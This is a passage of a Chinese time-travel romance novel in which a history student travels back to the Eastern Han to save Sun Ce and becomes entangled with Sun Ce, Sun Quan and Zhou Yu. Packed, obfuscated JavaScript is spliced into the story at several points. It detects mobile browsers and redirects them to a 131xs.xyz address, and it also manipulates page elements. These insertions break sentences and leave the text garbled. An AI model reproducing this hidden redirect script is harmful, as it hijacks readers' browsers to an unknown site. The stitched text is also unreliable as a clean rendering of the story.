邻桌兼室友霖霖偏过头来,戏谑道:“你怎么跟他没完?穿越去三国揍他揍一顿?” “今晚回去打人机1v1,专打孙权!” “游戏啊……” 下课路过教师办公室,今天也一如既往发出热烈的你一言我一语。 步一乔一听立刻拉着霖霖赶过去,果然,教授又在办公室跟别的老师辩论起来。 入学至今,步一乔不知道自己历史学综合课教授的名字。分明其他非本专业老师的名字都晓得,甚是奇妙。 “那个陵墓是有点东西,但不至于穿越都搞出来吧。”张教授笑道。 教授淡定自若反驳:“实践出真理,张教授要试试吗?” 张教授笑着摆手,端起保温杯准备离开,又加了句:“要我躺进一副将近两千年的棺材,想想都可怕。” 教授顺着张教授离开的背影,正好看到躲在办公室门口鬼鬼祟祟的步一乔。 “步一乔。” “在!” “偷听什么?” “看教授今日的战绩如何。没想到教授赢了,难得。” 教授无奈摆摆头,步一乔丢下霖霖跨步进入办公室走到教授身边。 “教授,你说的,真的可以穿越吗?” 步一乔难得罕见的对某样东西感兴趣。 考上历史系却不喜欢背年表,就脑子好使一些,教授至今不明白她是怎么考上大学又继续逼自己读研的。 “你想穿越?” “嗯!” 教授见她回答地不假思索,轻笑出声:“时间线都背不清,你去了能干嘛?” 步一乔撇嘴说:“为了揍孙权。” * 江东孙宅旧址纪念馆。 开馆时间刚到,寂静的宅院便迎来它今日的第一位客人。 教授轻车熟路地带着步一乔走向后院,走到一处被玻璃门封禁的地门前。 “这是……”步一乔低声问。 “地牢。” 说完,教授从口袋里摸出玻璃门的钥匙,径直推开门走进去。 步一乔环顾四周,生怕被工作人员发现,拉上运动服的拉链,攥紧背包肩带,飞速跟上教授进入地牢。 地牢之中,不见天日。 教授拧亮手电,照亮脚下凹凸不平的石阶与狭窄的通道。不同于常见的古代暗道石壁,这里呈现出一种特别的颜色。 步一乔凑近细看。 “深褐色?莫非是——” 教授说:“是血,关押在这儿的囚徒留下的痕迹。孙策一统江东时,抓了很多不听劝的氏族。全部关押在此,一一问斩。” 步一乔下意识后退两步,手臂泛起细密的疙瘩。 “我们……真的要从这儿走吗?” “你不是要改写历史吗?穿越回东汉,见到孙策,亲口告诉他。” 教授望着幽深晦暗的地牢入口,沉默半晌。 “如果孙策不死,或许天下不会三分,曹操不会夺取天下,孙吴或将一统华夏……” 步一乔歪歪头:“教授好像很敬重伯符?” “我这一生都敬重他,为他惋惜。”教授眉宇间凝着郑重。 步一乔不禁轻笑:“我是梦女,教授就是梦男了呢。” 教授瞥她一眼:“别拿我和你相提并论。” 穿过狭长的通道,应该是走到了尽头关押凡人的地方。稍显空旷的空间内,突兀地摆了一方棺椁。 步一乔惊呼:“棺材?!孙家这么周到,连葬具都为囚犯备好了?” 教授没有回答,只是走近以指尖轻抚椁身雕纹。岁月模糊了它们的轮廓,却掩不住其中沉淀的威仪与贵重。 椁盖早已不翼而飞,连内部的棺盖也被掀开,斜倒在一旁。棺内空空如也,并无尸骸。 “尸体不见了!?”步一乔失声惊呼。 教授屈指敲了下她的额头说:“有棺,就非得有尸么?” 他转回视线落向那片空洞的黑暗,眼神忽然有些缥缈。 “这里就是通道。躺进去,亲手合上棺盖,在黑暗中默念三遍你想去的年代。” “就这样……能穿越?” 步一乔怔怔地望向棺木,迟来的恐惧如潮水般漫上四肢。 教授察觉她微微发抖,握住她的手臂将人往后带,柔声道:“回去吧。” 他刚走出两步,却发现拉着的人没有动,僵在原地。 步一乔的眼睛仍旧盯着棺椁,看不出心思。 “我……” 良久,她轻轻启齿。 “我想试试。” “想好了?” 步一乔抿唇点头,换上背包里事先准备好的汉服,侧过脸来看他:“那教授我走了,学校见。” “步一乔。” “嗯?” 闻声,她回过头,望见逆光而站的教授。 “改写历史要背负的是千古之名,罪名还是功名,皆在你的一举一动。” 步一乔却摇头说:“不是我要出人头地,而是孙策。我会见证他一统江东,登上吴王,坐上本属于他的位置。” 教授眉头蓦地一紧,问道:“孙策建业,孙权称帝。事有因果,你怎么确定孙策不死,江东必然战胜曹魏?” 步一乔停下脚步,思忖片刻,斩钉截铁回应:“因为比起孙权,孙策才是该站上帝王之位的人。” * 六个小时后,棺椁内传来响动。 算准时间等在外的教授立刻上前,看着棺盖被从里面缓缓推开一条缝。一只沾满黑灰的手颤抖着伸出来,扒住了边缘。紧接着,一颗脑袋探了出来。 教授整个人怔在原地。 一张完全被熏黑的脸,头发凌乱,空气中随之弥漫开一股清晰可辨的、刺鼻的烟熏火燎之气。 “步一乔你……”教授叹口气没再说。 人影似乎用尽了最后一丝力气,极其艰难地从棺内爬出,身体摇晃不定。她的脚刚触及冰冷的地面,试图迈出一步,膝盖却猛地一软,整个人朝前瘫软下去。 教授一个箭步上前,手臂稳稳地揽住她下坠的身体。他低下头,怀中的步一乔双眼紧闭,脸色苍白,呼吸微弱。 她低声喃喃:“我告诉他了……他没死……我救下了他……” 教授不语,清楚历史改成何样,步一乔此番举动,终究功亏一篑。 * 孙策没能逃过一劫。想不到自己与他说的话,成了江东小霸王此生最后一番对话。 孙权匆忙继承祖业,后续故事与原版历史无二。步一乔光荣地以“贼人”身份,登上了历史教科书。 “怎么办!我再回去一趟?可孙策……” 会宰了自己吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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教授点头道:“孙坚的早逝是三国历史的一大变数。如果他未过早阵亡,天下的格局或许会大有不同。” “从孙坚开始改写历史……吗?” 一把钥匙被放置在步一乔眼前。是开孙氏旧址地牢玻璃门的钥匙。 “你的最终目的,是让孙策登临帝位。那么试想,若孙坚不死,由他亲手奠定这江东不世之基业,你认为,谁会是这基业名正言顺的第一继承人?” 是长子。 是孙策。 一瞬间,步一乔如醍醐灌顶,所有思绪豁然贯通! 她几乎是从椅子上弹起来,一把抓过钥匙,另一手飞快地捞起扔在旁边的背包,匆忙甩下一句“谢谢教授!”,便冲了出去。 * 换上衣服,步一乔再次躺在冰冷的棺材内。她深吸一口地牢中陈腐的空气,将沉重的棺盖缓缓拉合。 黑暗如浓墨般倾覆而下,彻底吞噬了最后一丝光线。 死寂之中,只能听到自己胸腔里越来越响、越来越急的心跳声,撞击着耳膜。 她闭上眼,集中全部意念,在心中默念那个全新的、承载着所有希望与未知风险的时间锚点—— “孙坚未死之时……是……是……” 是多久来着? “19……9?孙坚死的时候孙策十七,孙权十岁……啊啊啊!想不起来了!” 操!孙坚哪一年死的?! 一咬牙,步一乔死马当活马医,相信自己的第一直觉,做了选择。 “200年!我要见活的孙坚!” 5. 暮春 然而,公元200年,注定见不到活着的孙坚。 倒是能去他墓前的灵台看一看。 眼前日光明媚,蝴蝶翩飞,恰是春和景明。 步一乔环顾四周,那日被大火焚烧的屋舍完好无损,整座府邸安静祥和,仿佛什么都不曾发生。 时间确实回溯了,可周遭的一切,竟与那一日如此相似。 “先找个人问问吧。” 自语声未落,头顶忽然传来瓦片碰撞的清脆声响。步一乔抬头一看,顿时愣住了。 一个约莫七八岁的小姑娘,正在房顶上来回跳跃,玩得不亦乐乎。 她正要开口劝阻,意料之中的事发生了—— 小姑娘被松动的瓦片绊了一下,身子一歪,眼看就要从檐顶跌落! 在一片惊呼声中,步一乔箭步冲上前,伸手欲接。 可她这细胳膊细腿,哪里接得住一个八岁的孩子?最后反倒成了对方的人肉垫子。 好在结果不算太糟,少女安然无恙。 “哎哟喂……老娘的腰啊……不会断了吧?!” 她吃痛的抱怨吓到了怀中的少女。对方迅速从她臂弯里挣脱,怯生生躲到了一名刚刚赶来的男子身后。 男子仪容俊朗,举止彬彬有礼,当即向她拱手致谢: “多谢姑娘搭救!尚香自小顽皮,就爱上房揭瓦。今日幸好有姑娘挺身相救,才没酿成大错。” 步一乔揉着腰,摆手起身道:“没事没逝,还没死。” 等等,他刚才说什么? 步一乔诧异地看向一旁的男子,与那日孙策一模一样的男子。 “你刚才说谁?那姑娘是……” “舍妹年纪尚小,但自幼好武,弓马娴熟,不让我孙家男儿。性子嘛,也和我一样,刚烈得很!哈哈哈哈!” “妹妹?你是……孙策?刚才的小姑娘是……孙尚香?!” 步一乔有些不确定。 十七岁的孙策为何跟二十六的孙策一模一样?古人不是老得快吗? 男子拱手道:“正是。” 根据历史和《三国演义》的说法,孙策比后来的孙夫人大十八岁。如果现在孙尚香八岁,孙策就是二十六岁。 虽然这段历史并不可靠,因为彼时孙坚已经去世三年。除非孙尚香跟两兄弟,是同母异父的关系。 不过步一乔更愿意相信是野史胡诌。吴夫人与孙将军情比金坚,不太可能改嫁,更不可能与他人生育还养在孙家。 二十六……岁?! 建安五年,孙策遇刺重伤,终年二十六岁。 步一乔吓得一把抓住孙策的手,忙问:“现在是建安五年,几月?” “三月下旬……”孙策下意识地回答,目光中满是困惑与担忧,“姑娘怎么了?” “三月下旬?!” 怎么重来一次,才提早了一个月?!这穿越也太不靠谱了吧! 心底谩骂着棺材不靠谱,一面没注意到孙策看自己的表情愈发奇怪。 对上目光时,步一乔吓得以为孙策又要把自己抓起来,秋后问斩,立马后退拉开距离。 “我是好人!你不可以抓我!” 孙策怔愣一瞬,噗嗤笑出声来。 “你救了舍妹,我怎会抓你?不过我从未在府中见过姑娘,是新来的侍女?” “不是,我只是路过,见小姑娘爬上房顶,一时心急……” 她悄悄抬眸,看见孙策眼中并无怀疑,一个大胆的念头突然涌现。 “将军可以收留我吗?其实……我是个孤儿。” * “眼下,曹操正与袁绍在官渡对峙,我欲暗中偷袭许都。” 室内,孙策正与周瑜等人推演局势,阳光映得他眉宇间锋芒毕露。 周瑜微微蹙眉:“伯符,此举想法虽好,但是否过于冒险?许都虽城池坚固,但曹操主力尽在北面。若一击不中,恐遭反噬。” “公瑾多虑了。”孙策朗声一笑,“我江东儿郎,何曾惧过坚城高墙?曹操挟天子以令诸侯,若不挫其锐气,后患无穷。” 周瑜沉思片刻,点头道:“若成,此番恐能将极大削弱曹操势力,如此一来……” …… 步一乔隐在廊下阴影中,将室内对话听得真切。 脑袋里充斥着各种混乱的信息,但又似乎什么都想不到。 索性什么都别想,陪着孙策,守着孙策,多一双眼睛盯着危险,比什么都强。 议事结束,孙策心情畅快地推门而出,扬言要去山野狩猎散心。步一乔立刻从梁柱后闪出,径直拦在他面前。 “将军不可以出门!” 孙策脚步一顿,挑眉看来,身后周瑜等人也停下脚步,投来疑惑的目光。 “这位姑娘是?”周瑜询问。 “借住家中的步姑娘。” 说罢,孙策挥手示意众人离去,廊下只余两人。 “姑娘有何要事?” “至少别单独出门,会很危险的。” 孙策轻笑一声道:“我乃江东小霸王,何人能与我构成危险?” 果然于他而言,世间任何都构不成威胁。 步一乔只得拿出诚恳的态度,软言劝说:“诸事难料,还请将军听我一句劝。拜托了……” 不得不说,步一乔倒是挺适合做演员,情绪价值直接拉满。软糯糯的台词把孙策勾得,一时半会儿回不过神来。 他目光微动,忽然侧过脸去,声音不自觉地放轻道:“那姑娘……可愿与我一道?” “啊?” 孙策转回视线,目光落进她因惊讶而睁大的眼睛里,唇角扬起一抹不易察觉的笑意。 “既然危险,那你在我身侧同行盯着,岂不周全?” “可将军不是素来独行惯了吗?” 她刚脱口而出,就生怕他反悔,连忙改口。 “我去!我和将军一道!” * 知道步一乔不会骑马,孙策命人备了马车。 车辆行至城外山野乡村,沿途百姓认出,纷纷涌上前来想要一睹将军风采。 车窗纱帘被风吹起一角,步一乔看见人群中三个神色异常的男子,不由握紧了孙策的手。 “不必担心,都是前来问候的百姓,不会有事的。” 马车行至山脚,二人沿着石阶缓步而上。途经一座石砌山神龛时,孙策蹲下身,将随身带来的酒缓缓倒入石盘。 “将军不是不信鬼神吗?” 孙策动作微顿:“姑娘怎知?” “呃……听您家中侍从说的。” 孙策看着神龛里的清酒,彼时,头顶飘落一片白色的花瓣落入其中。 “家父身亡于砚山。所以每次进山,我都会给山神带些酒来,以此祭奠父亲。” “孙坚将军……是个伟大的人。若非轻敌,结局不该如此。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467240|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >步一乔看向孙策。 察觉到目光,孙策也抬眸与之四目相对。 “将军也是,万不可轻敌冒进。危险无处不在,比如现在……” 她骤然逼近,纤细的手指扼住孙策的喉咙,眉宇间却无杀气。 “你不知我姓名,不知我来历,却留我于府上,还与我独自出门。就不怕我居心不轨,要了你的命吗?” 目光相接的刹那,孙策心头莫名一颤。那双眼眸清澈的金人里面盛着的不是谄媚或杀意,而是一种……仿佛隔世重逢般的急切与忧虑。 这个姑娘……他是否曾经见过的? 孙策眸光微动,竟轻笑出声,宽厚的掌心覆上步一乔的手背,温度透过肌肤传来。 “你冒死救下舍妹,好言相劝,我为何要疑你?” 似是安慰,他轻轻拍了拍她的手。 “不过你说得对,我记住了。日后定当小心,不会莽撞行事。” 温热的触感让步一乔眼眶发酸。她慌忙转身,悄悄拭去眼角湿润。 孙策绕到她面前,指尖轻柔地抚过她的额发:“哭什么?” “感动……” 步一乔勉强扬起笑容,忽然张开双臂。 “想确认将军不是我的梦,想要个抱抱。” 孙策微微一怔,耳根泛起不易察觉的红晕,却还是张开双臂将她轻轻拥入怀中。 “好。” * 山腰平野,繁花如海。两人并肩坐在一方巨石上,微风拂过,扬起她几缕发丝。 “所以,姑娘所说的危险是什么?”孙策开口,目光仍望着远处起伏的山峦。 步一乔低声应道:“是许贡的门客。将军虽杀了许贡,但他的小儿子与门客逃亡,且藏匿于长江边。须得提防他们暗中发难,伺机报复。” 一声轻笑。 “姑娘与公瑾还颇有几分相似。不瞒姑娘,前几日,公瑾恰好与我说过同样的话。” 孙策转头看她,目光深邃。 “自与姑娘相识我便好奇,姑娘为何知晓那么多?” “呃……我说是天上掉下来的,你信吗?” “我从不信鬼神。” 步一乔小声嘀咕:“是吧,江东小霸王不信邪的,我根本想不出理由怎么糊弄过去……” 既然鬼神预言之说无法取信于他,那除了守在他身边,似乎也别无他法。替他警惕暗处的敌人,替他打理琐碎的日常。哪怕端茶送水,照料起居,她也心甘情愿! 思及于此,步一乔拍拍孙策的肩膀,又拍拍自己平坦的胸膛。 “将军放心吧!我会一直陪着你的!” 孙策茫然地看着眼前的姑娘,愈发盯得厉害。 步一乔诧异地歪了歪头,微微睁大眼睛,发出疑惑的声音。 “你……我还不知姑娘姓名?” “我叫步一乔!” “一乔?怎么写的?” “一二三四的一。” “竟然取了跟城北村口的桥一模一样的名字。” “可、可是字不同啊!” “不行,日后若是禀报军情,混淆了怎么办?” 孙策沉吟片刻,灵机一动。 “既是一乔,想你定是家中长女。不如往后,我便叫你大乔吧。” 步一乔傻愣了半晌,才缓缓发出一声疑惑:“欸?” 如果自己成了大乔,那往后真的大乔出现该怎么办?! 6. 聘书 偶有恋爱脑失智的步一乔看着眼前的江东霸主,脑袋空空。 孙策见步一乔呆愣的模样,忍不住伸手轻刮她的鼻尖。单纯出于对萌物的逗弄,别无二想。 “怎么?不喜欢这个名字?” 步一乔自然晓得孙策对自己怎么想的。望着他含笑的眼眸,心中百转千回,最终化作一声高兴的轻叹。 “喜欢……只要是将军取的,我都喜欢!” 大乔就大乔吧。等真的大乔出现再把名字还给人家就是。 孙策身子朝后,双手撑在身侧,望着远处翻涌的云海,突然发出一声轻叹。 “不知为何,初见你那日,竟莫名有种,与你曾出生入死的震撼。” 步一乔一下僵住,倏地偏过头去观察孙策的神情。 没有隐情的脸,只有对恍惚情感的感慨。 是啊,人怎么会记得未来才会发生的事情呢?太荒唐。 * 史书明载,大小二乔分别嫁与孙策、周瑜后,不过半年,孙策便突遭不测,溘然长逝。 屈指算来,时间恰好吻合。 望着满庭含苞待放的春花,步一乔呆坐在石阶上,总觉得哪里不对劲。但想不起来。 一般想不起,步一乔会自动将问题归在时间上。一定又是自己记错了时间。 女人在历史上的位置不足轻重。即便留有姓名家世,与之相关的详述却也寥寥数语。 孙策离去之后,大乔究竟去了何处?那数月相守的时光,她是如何度过的?为何没留下子嗣?无人知晓,亦无人记下。 但无论如何,步一乔此行的目的唯有一个:护孙策周全。 头脑风暴时,步一乔行至孙策门前,抬手犹豫片刻,终是响了门扉。 “孙策将军!您在屋里吗?” “大乔?” 心情不错的声音从内传来,随后门被拉开,穿着一身宽松常服的孙策出现在她眼前,褪去了几分平日的锐气,眉眼显得温和许多。 两人相视一笑,说不尽的温柔缱绻。却也相敬如宾,不忘行礼。 “你也不必次次唤我全名和将军,叫我伯符吧。” “可是,我喜欢叫你孙策。” “那便依你。” “好!伯符。” “不是喜欢孙策吗?”他倚在门边笑问,眼中笑意更甚。 “嗯!喜欢!特别喜欢!做梦都喜欢。”步一乔重重地点头,一本正经,字字清晰。 孙策先是一怔,随即嘴角再也压不住上扬的弧度,笑出声来:“你说的是名字,还是人啊?” “都喜欢。” 她答得毫不犹豫,目光清亮地望着他。 但随即深吸一口气,神色重新变得郑重:“我今日来,是与将军有重要的事情要说。” 孙策轻轻嗯了一声,示意她继续说下去。 “关于北上突袭许都,迎奉汉献帝之事,将军筹备得如何?” 孙策眼中掠过一丝讶异,却仍答:“诸事已备。” “后果呢?成与败,将军有想过结果吗?” “成,曹操败。败,不存在。” “将军为何总是如此自信……” 步一乔扶额轻声叹道。 “居安思危,将军忘了那日答应我的话了吗?” “我没忘。既是有十足的把握,才敢如此断言。” “不行!现在想!给你一刻钟的时间。” 她执拗地望定他,气鼓鼓的样子,可爱极了。 孙策凝视她片刻,终是妥协地一笑:“好。不过……” 他抬手,带着薄茧的指腹已轻轻点上她的眉心。那是一种属于武将的、收束了力道却依旧清晰的粗粝触感,耐心地揉开她紧蹙的眉头。 “我会认真思量,再慢慢说与你听。若此刻仓促应答,只怕转眼即忘,又如何能刻骨铭心?” 步一乔微微一怔,随即点头。是她心急了。 “明日我与公瑾等人打算出门狩猎。” “嗯!预祝将军满载而归。” 孙策喜狩猎,步一乔深知这一点,有周瑜伴身,便不去幻想孙策会带上自己此等不切实际的想法。 “你想与我一道吗?” “啊?”她一时没反应过来。 “若是有事,便下次再一道。突然邀请,却是仓促了些。何况一堆汉子,你一姑娘家会不自在吧?” 步一乔浑然不觉、喜出望外,激动得语无伦次。 “去去去去!我去我去!” 喜悦冲散迟疑,她望着他含笑的眼睛,无脑的感慨脱口而出:“这要是放在两千年后,我们俩都该结婚了。” 轻柔的话语如羽絮般落在他耳边,让孙策的心口无端一紧。 他不确定自己是否听懂了,抑或会错了意,只得移开目光,故作寻常地低声问:“……什么?” 步一乔霎时脸红,慌忙摆手摇头道:“没什么!我自言自语呢。” 从见着这姑娘起,孙策便对她的行为举止颇为好奇。不如闺阁女子般拘礼,但也不同山野姑娘那般撒野。常常做些令人无法理解,但又忍不住模仿的动作。 孙策不再追问,只朗然一笑,学着她摆手的样子举起手掌。步一乔想都未想,抬手便“啪”地一声与他击掌为约。 尽管不解这突兀的动作有何深意,但见她笑得那般明亮,孙策便也不深究,与她一同笑开在融融春色里。 “还没问过大乔是何方之人?今年几何?” 步一乔笑着打趣道:“将军是打算三书六礼,娶我过门吗?” “……可以吗?” 荼蘼花香伴风而来,愈发浓稠,缠绕在呼吸之间,让她有一瞬的恍惚。 他的询问格外轻柔,和以往不同,带着几分羞涩以及恳切。 “将军莫不是说笑?” 步一乔试图让语气轻松些,可孙策的目光却未曾移开,那双总是盛着朗朗骄阳的眼眸,此刻沉静下来,竟如深潭般映着她的无措。 他……是认真的。 步一乔慌了神,身体燥热,口干舌燥接连吞咽。 春风拂过,扬起她鬓边碎发,也吹动他玄色衣袍的袖口,吹不散人间四月的燥热。 步一乔深呼吸抬起眼,迎上他的目光,唇边重新漾开一点笑意,却比先前郑重了许多。 “若将军是认真的,那便不该先问籍贯年岁。” “哦?”孙策眉梢微动,“那该先问什么?” “该先问……问我是否心悦于你,是否甘愿嫁给你。” 这一次,轮到孙策微微一怔。随即,他朗声大笑起来。 “好!”他目光灼灼,如同最炽烈的阳光,“那我现在便问!大乔,你——” 他话未说完,远处一骑快马疾驰而来,马上兵士高呼着“主公”打断了他的话。 孙策眉头一皱,如常锐利的神色又回到了他脸上。 步一乔看着他的侧影,心下悄然一松,却又隐有一丝难以言说的怅然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“若是我也变成兄长那般性子,你会心悦于我吗?” “啊?” 步一乔彻底愣住。这话听着……怎么像某种含蓄的告白? 她按下心头的诧异,决定暂且装作不知,顺着他的话答道:“不会。” “为何?”孙权望着远处一树繁花,语气平静,眼底却藏不住怒意。 步一乔纳闷。 这孩子今日怎么了?刨根问底地,莫非方才一眼,就喜欢上自己了??自己的人格魅力什么时候上升到这般境界了? “不为何。你是孙权,他是孙策,截然不同的两个人,怎能混为一谈?” 想象孙权学着孙策那般豪迈不羁的模样,步一乔不禁在心底摇头。一个是血气方刚的魁梧武将,一个是沉谋重断的稳重之主,根本无从比较。 孙权仍不肯罢休,继续追问:“可你不是说,心悦兄长的性子吗?” “照你这么说,莫非世上所有勇猛的武将,我都该喜欢不成?” 孙权一时语塞,沉默良久。春风拂过,掀起他额前几缕碎发。他忽然转回头,目光直直撞进步一乔眼中,低声道: “那,你会亲吻兄长么?” “啊?” “回答我。” “……不会。” 孙权眉角跳了一下,似是想起些不太好的回忆,低声嘟囔:“强吻人,逼人做男欢女爱之事,还装作忘记……分明风流成性,过分……” “强吻人?我什么时候——” 步一乔倏然睁大眼睛,猫尾草自唇边落下,不可思议地看向身旁,按照正常时间线,该是初次见面的少年。 “现在的时间点是上一次之前……你怎么会记得?而且……我什么时候跟你那啥了??” 7. 荒唐 空气中蓦地弥漫开一种微妙的寂静。孙权的目光骤然变得锐利。 “‘时间之前’?姑娘此话是何意?” “这话该我问你啊!” 步一乔慌乱地抓住孙权的手臂,那双沉静的眼眸中映照出自己不知所措的神情。 “那你说,我何时吻的你?何时与你……沉云覆雨?” 孙权看着她模仿得难辨真假的茫然模样,一时气结,无语地拨开她的手。 “想不到你是如此轻浮之人。” 他偏过头去,耳根和眼角泛起不易察觉的红晕。 “那日明明是你……” 孙权话说到一半却戛然而止,仿佛意识到失言般猛地抿紧了唇。步一乔敏锐地捕捉到他这一闪而过的慌乱,心中的疑云越发浓重。 “难道说,你记得之前——” “仲谋!” 远处突然传来清朗的呼声,循声望去,一位白衣男子昂首挺胸迈步而来。衣袂随风轻扬,端的是风华无双。 是周瑜。 孙权瞬间收敛了所有情绪,又恢复了往日那般沉稳模样,起身拱手行礼。 周瑜步履从容而至,目光掠过孙权身侧的步一乔时微微一顿,观其面相,隐约察觉到什么。 “府外有位吕姓之人寻你,快去罢。” 孙权侧首瞥了眼垂眸不语的步一乔,略一颔首便转身离去。步一乔正欲悄然后退,却被周瑜展臂拦下。 “周公子找我有事?” 周瑜昂首望天,明媚晴朗,万里无云。 “今日闲来无事,想来从未与姑娘闲话摆谈,敢问姑娘此刻得空否?” 春风掠过庭前新柳,周瑜的姿态看似闲适,那双明澈的眼眸却仿佛能洞穿人心,让步一乔无端生出几分被看透的忐忑。 不过,连躺死人棺材都不怕的步一乔,敢说这世上暂且找不出她真正畏惧之事。 她唇角微扬,迎上周瑜的目光。 “乐意之至。周公子是想与我把酒言欢,还是斟茶手谈?” 周瑜一愣,颇为有趣似的看了她一眼,笑得张扬。 “步姑娘果真好大的能耐,难怪能叫伯符与仲谋二人,都被你迷得神魂颠倒。” 步一乔眯眼笑道:“周公子怕是误会了什么。我与孙权并无男女之情。且我一心只心悦于伯符,绝无二心。” “是吗?若真是如此,倒是我唐突了。错把某人的一厢情愿,当成了两情相悦。” 周瑜举止优雅地拱手致歉。 “给姑娘赔不是。” 说罢,他直起了身,看着廊外蝴蝶蹁跹于其间的花丛。 “伯符与我情同手足,生死与共。战场上他为王,众将自然听他号令。可出了战场,他也不过是个时常犯糊涂的寻常男子。” 周瑜忽然蹙紧眉头,端详步一乔片刻,神色渐凝。 “我观察步姑娘半月,尚未察觉不妥。然,我并非厌你。但伯符是江东之本,任何不明底细的变数,我都必须排除。你的出现太过蹊跷,对伯符与仲谋的影响都太大。若你真心为江东,为伯符,便请坦诚相待。若你怀有异心……即便伯符怪罪于我,我周瑜,也愿担此罪名,以除后患。” 春风倏然静止,气氛焦灼。 步一乔并未退缩,反而迎着他审视的目光向前半步。唇角略带戏谑的笑意悄然隐去,眼底是一片前所未有的澄澈与郑重。 “世人皆道周郎慧眼如炬,算无遗策。公子既观察我半月都未看出不妥,却仍出言警示,而非直接动手……莫非,并非真心疑我,而是另有用意?” 她再次逼近,气势不输。 “我的存在,会误了您的事儿?” 周瑜闻言,神色微不可察地一滞。他侧过脸,避开她过于锐利的注视,唇角扯出一抹惯常的嘲弄:“若你都能耽误得起的事,我周瑜还不屑去做。” 步一乔没忍住轻笑出声,收起锋利,温柔相待。 “我知道周公子是替伯符考虑,放心吧,我也是。我的目的只有一个,保全伯符,见证他登上吴王之位。” “吴王?莫非步姑娘你,果真是——” 就在这时,一阵急促的脚步声由远及近,打断周瑜的话。 “公瑾!原来你在此处!” 孙策洪亮的声音打破了微妙的对峙。他大步走来,额上带着薄汗,神情飞扬洒脱,目光掠过周瑜,立刻黏在步一乔身上,笑容愈发灿烂。 “大乔也在?正好!我刚得了一匹凉州宝马,烈性得很,走,一同去瞧瞧!” 他自然而然地站到步一乔身侧,牵住她的手,高大的身形在无形中形成一种回护的姿态。 周瑜瞬间收敛了所有外露的情绪,唇角噙起温雅如常的笑意,仿佛方才暗藏机锋、甚至隐含杀意的对话从未发生。 “既是伯符所得良驹,自当一观。” 步一乔也顺势颔首,却在孙策转身引路的刹那,飞快地瞥了周瑜一眼。 周瑜正垂眸整理着袖口,感受到她的视线,抬眸,回以一抹极淡、却意味深长的目光。 * 走出府门,静候在外的孙权闻声回望来,第一眼便落在两个大男人身后娇小的身影。他眼中闪过一丝不易察觉的不悦,随即又归于沉静。 步一乔接连被三道风格迥异的视线笼罩,顿感无所适从,巴不得找个上厕所的借口离开。 不得不说,周瑜就是聪明。立马察觉步一乔的心思,主动开口道:“步姑娘今日想必也无要事,不如与我们同去城外军营一观,如何?” “啊?不合适吧……”步一乔下意识地婉拒。 心想:这去的是军营吗?分明是地狱啊!连续跟两个大男人对峙已经够累了,能不能放她回去睡觉,养精蓄锐啊! 身旁的孙策极其自然地伸出手,温暖宽厚的手掌一把牵住她的,道:“无妨。今日无战事,恰好城外野花遍地,我领你去看看。” 步一乔感受到他掌心传来的温度,再抬头对上他那双映着日光的明亮眼眸,拒绝的话便再也说不出口,只得轻轻点头:“……好。” * 车内,侍从继续煮茶热酒,一切如常。 孙策与周瑜相对而坐,谈论着军务琐事,偶尔与孙权交谈几句。步一乔坐在孙策身侧,尽量降低自己的存在感。 孙权坐在她斜对面,大多时间沉默着,目光时而落在交谈的兄长与周瑜身上,时而状似无意地扫过她些许新奇的侧脸,又很快移开。 狭小的空间内,四种心思,暗流般无声涌动。 * 马车停靠在军营帐外,来人禀报说有贵客相见。步一乔当即抓住机会,找了借口说去野花谷内休息,待会儿去那儿寻她便好。 孙策不太放心,说什么也得找人跟着。 “这里是将军的地盘,怎会有人敢造次?我只是偷个懒,找个清静地方打个盹儿,绝不会走远。” 孙策垂眸看着她,沉默片刻,终是妥协。他旁若无人地牵起步一乔的手,在周围一众将领兵士的目光注视下,将她微凉的手指紧紧攥入自己温热的掌心。 “等我,速速就来。” “好。” 山花烂漫,柔软的铺就一地,步一乔舒展四肢躺在花丛中,望着天边流云舒卷,心神渐宁。 不多时,听见脚踩过的窸窣声,步一乔废力仰头,只看到一双脚。不过是与孙策相同的款式,立马放下心来,闭上双眼。 “这里躺着好舒服,伯符也来试试?” 身侧的花草被压弯,来人依言躺下身,与她隔着一肩的距离,安静地感受落日下的清风拂面。 “人生苦短,能得几回惬意?是吧伯符?” 身旁无人回应。 步一乔以为是人没听清又唤了一遍“伯符”。 “我不是兄长。” 冰冷的声音吓得步一乔周身一僵,猛地睁眼转过头。 孙权静静躺在身旁,眸光幽深地望向天。晚霞为他惯常沉静的侧脸镀上了一层暖色,竟有几分阳春白雪的清恬…… 等等!这可是孙权!不是孙策!清醒一点! 步一乔下意识地想要起身离开,却被孙权拉住手腕制止。 “这般好的景致,急着走什么?” 他随手折下一根草叼在嘴边把玩,姿态是从未有过的闲适洒脱。双手压在脑后,翘着腿,随着哼唱的小曲晃动。 “人生苦短……是啊,这般好光景,合该好好享受!” 这话语,这神情,都让步一乔感到一种奇异的熟悉感。 孙权见她愣神,嘴角笑意更深,忽然凑近几分,在鼻尖即将触及时停下。步一乔下意识后仰躲闪,又被孙权抓住手臂止住。 如此近距离,步一乔甚至能嗅到孙权口中丁香水的气息,以及沐浴时留下的淡淡药草味儿。 好像……挺好闻? 步一乔脑袋忽地炸开。她怎么能有这种大逆不道想法!快停下! 孙权瞧她脸红得厉害,笑着曲起手指,轻轻刮了下她泛红的鼻头。 “怎么?被我迷住了?” 步一乔下意识偏开头,“你怎么变得……怪怪的?” “你不是喜欢这样吗?” “啊?我什么时候说——” 